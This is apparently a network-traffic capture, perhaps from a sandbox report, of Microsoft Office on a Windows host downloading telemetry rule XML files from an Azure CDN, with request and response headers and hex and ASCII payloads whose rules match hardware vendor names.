2024-11-17 23:27:22 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:22 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:22 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:22 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 0e86b0ea-b01e-0097-3ed2-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232722Z-16547b76f7fp6s5dhC1DFWe28g000000026000000000ehck x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:22 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:22 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:23 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 99e855e6-501e-00a0-7a09-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232723Z-1866b5c5fbblmqrkhC1DFWf9ns0000000330000000009t9f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:23 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:23 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6900d7da-401e-00ac-4ed2-370a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232723Z-16547b76f7fkf5v9hC1DFW2y5s00000004sg00000000reba x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:23 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:23 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 75c16ba8-801e-0067-10f8-36fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232723Z-164f84587bf6n6jwhC1DFW90fn000000046g0000000083fb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:23 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:23 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:23 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: d36f9ca3-a01e-0021-21af-36814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232723Z-16547b76f7f7zzl8hC1DFWmtag00000003x0000000007kb5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:23 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:23 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: cf84bce2-801e-0083-40b8-37f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232723Z-1866b5c5fbbkbjq9hC1DFWf1es00000003yg000000006w2u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:23 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:23 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: a0c6f192-101e-007a-2f09-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232723Z-1866b5c5fbbr78bbhC1DFWqz2n000000052g00000000eah8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:23 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:24 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:24 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 9666febd-501e-0035-5391-38c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232724Z-1866b5c5fbbx98hfhC1DFWuqmg00000003ng00000000m4ys x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:24 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:24 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:24 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 8a4e7403-501e-0047-0c09-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232724Z-1866b5c5fbbbf2bdhC1DFWu6f400000001wg00000000nk0y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:24 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:24 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dd4d8867-801e-0083-7a9b-38f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232724Z-16547b76f7fp6s5dhC1DFWe28g000000027000000000ckw4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:24 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:24 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:24 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a9c4265b-101e-000b-57af-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232724Z-16547b76f7f64d6whC1DFWf9vn00000003m00000000079y2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:24 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:24 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
